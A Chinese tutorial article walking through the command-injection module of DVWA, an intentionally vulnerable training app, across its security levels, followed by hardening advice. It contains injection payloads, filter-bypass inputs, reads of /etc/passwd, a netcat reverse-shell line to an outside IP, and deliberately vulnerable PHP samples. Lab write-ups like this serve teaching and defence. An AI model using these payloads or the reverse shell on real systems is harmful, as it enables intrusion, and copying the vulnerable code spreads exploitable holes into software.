如何分析DVWA下的命令注入通关

发布时间:2021-11-11 18:24:43 作者:柒染
来源:亿速云 阅读:218
# 如何分析DVWA下的命令注入通关

## 目录
1. [命令注入漏洞概述](#命令注入漏洞概述)
2. [DVWA环境搭建](#dvwa环境搭建)
3. [DVWA命令注入模块分析](#dvwa命令注入模块分析)
4. [低级安全级别实战](#低级安全级别实战)
5. [中级安全级别突破](#中级安全级别突破)
6. [高级安全级别挑战](#高级安全级别挑战)
7. [安全防护建议](#安全防护建议)
8. [总结与思考](#总结与思考)

## 命令注入漏洞概述

### 什么是命令注入
命令注入(Command Injection)是指攻击者通过应用程序执行非预期的系统命令的安全漏洞。当应用程序将用户输入直接拼接到系统命令中执行时,如果没有进行严格的过滤和验证,攻击者就可以构造特殊输入来执行任意命令。

### 危害等级
- **高危漏洞**:可导致服务器被完全控制
- **常见攻击形式**:
  - 执行系统命令(如`whoami`、`id`)
  - 读取敏感文件(`/etc/passwd`)
  - 反弹Shell建立持久连接
  - 植入挖矿程序或勒索软件

### 典型漏洞代码示例
```php
// 危险示例:直接拼接用户输入
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

DVWA环境搭建

环境要求

安装步骤

  1. 下载DVWA最新版:
    
    git clone https://github.com/digininja/DVWA.git
    
  2. 复制配置文件:
    
    cp config/config.inc.php.dist config/config.inc.php
    
  3. 修改数据库配置:
    
    $_DVWA['db_user'] = 'dvwa';
    $_DVWA['db_password'] = 'p@ssw0rd';
    
  4. 访问安装页面完成初始化:
    
    http://localhost/DVWA/setup.php
    

安全级别设置

在DVWA中有四个安全等级: - Low:无任何防护 - Medium:基础过滤 - High:严格过滤 - Impossible:完美防护

DVWA命令注入模块分析

功能描述

DVWA的命令注入模块模拟了一个简单的ping工具,允许用户输入IP地址进行网络连通性测试。

核心代码分析

Low级别源码

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];
    $cmd = shell_exec( 'ping -c 4 ' . $target );
    echo "<pre>{$cmd}</pre>";
}
?>

漏洞点分析

  1. 直接拼接用户输入到系统命令
  2. 使用shell_exec()执行命令
  3. 无任何输入过滤或转义

低级安全级别实战

基础注入测试

  1. 正常输入:

    127.0.0.1
    

    输出:返回ping结果

  2. 命令分隔测试:

    127.0.0.1; whoami
    

    输出:显示ping结果和当前用户

常用注入符号

符号 作用 示例
; 命令分隔 127.0.0.1; id
&& 逻辑与 127.0.0.1 && uname -a
| 管道符 127.0.0.1 | cat /etc/passwd
|| 逻辑或 invalid || ls -la

进阶利用技巧

  1. 多命令执行:

    127.0.0.1; id; pwd; ls -la
    
  2. 文件读取:

    127.0.0.1; cat /etc/passwd
    
  3. 反弹Shell(需要netcat):

    127.0.0.1; nc -e /bin/bash 192.168.1.100 4444
    

中级安全级别突破

防护措施分析

$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$substitutions = array(
    '&&' => '',
    ';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

绕过方法

  1. 大小写绕过:

    127.0.0.1 &%26 id
    
  2. 使用未过滤符号:

    127.0.0.1 | id
    
  3. 换行符绕过:

    127.0.0.1%0aid
    
  4. 变量替换:

    127.0.0.1$a=id;$a
    

高级安全级别挑战

防护代码分析

$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$target = explode( " ", $target );
$target = $target[0];
$cmd = shell_exec( 'ping -c 4 ' . $target );

严格限制分析

  1. 通过空格分割取第一个参数
  2. 阻止了多命令执行
  3. 但仍有潜在绕过可能

可能的绕过方式

  1. 无空格命令执行:

    127.0.0.1{cat,/etc/passwd}
    
  2. 使用Tab字符(%09):

    127.0.0.1%09cat%09/etc/passwd
    
  3. 内联执行:

    127.0.0.1$(cat /etc/passwd)
    

安全防护建议

开发防护方案

  1. 使用白名单验证:

    if (!preg_match('/^[0-9.]+$/', $ip)) {
       die("Invalid IP address");
    }
    
  2. 使用专用函数替代命令执行:

    // 使用filter_var验证IP
    if (filter_var($ip, FILTER_VALIDATE_IP)) {
       // 安全处理
    }
    
  3. 参数化执行:

    $cmd = ['ping', '-c', '4', $ip];
    shell_exec(escapeshellcmd(implode(' ', $cmd)));
    

系统加固建议

  1. 禁用危险函数:

    disable_functions = exec,passthru,shell_exec,system
    
  2. 使用最小权限原则:

    • Web服务器以低权限用户运行
    • 配置sudo精确控制
  3. 定期安全审计:

    • 使用自动化扫描工具
    • 人工代码审查

总结与思考

漏洞本质

命令注入漏洞的核心问题是将用户输入作为代码执行,违反了”数据与代码分离”的基本原则。

防御关键点

  1. 输入验证:严格的白名单验证
  2. 输出编码:正确处理特殊字符
  3. 最小权限:限制执行环境权限
  4. 安全函数:使用参数化API

延伸思考

  1. 现代Web框架如何预防此类漏洞?
  2. 在DevSecOps流程中如何自动化检测?
  3. 云原生环境下的命令注入有何新特点?

附录:常用命令注入检测工具 1. OWASP ZAP 2. Burp Suite 3. Commix(自动化命令注入工具)

参考资源 - OWASP Command Injection - DVWA官方文档 - PHP安全编程指南 “`

注:本文为技术研究文章,所有测试应在合法授权环境下进行。未经授权的渗透测试可能违反法律法规。

推荐阅读:
  1. dvwa使用
  2. DVWA亲测SQL注入漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

dvwa

上一篇:Exim远程命令执行漏洞的细节是什么

下一篇:Django中的unittest应用是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》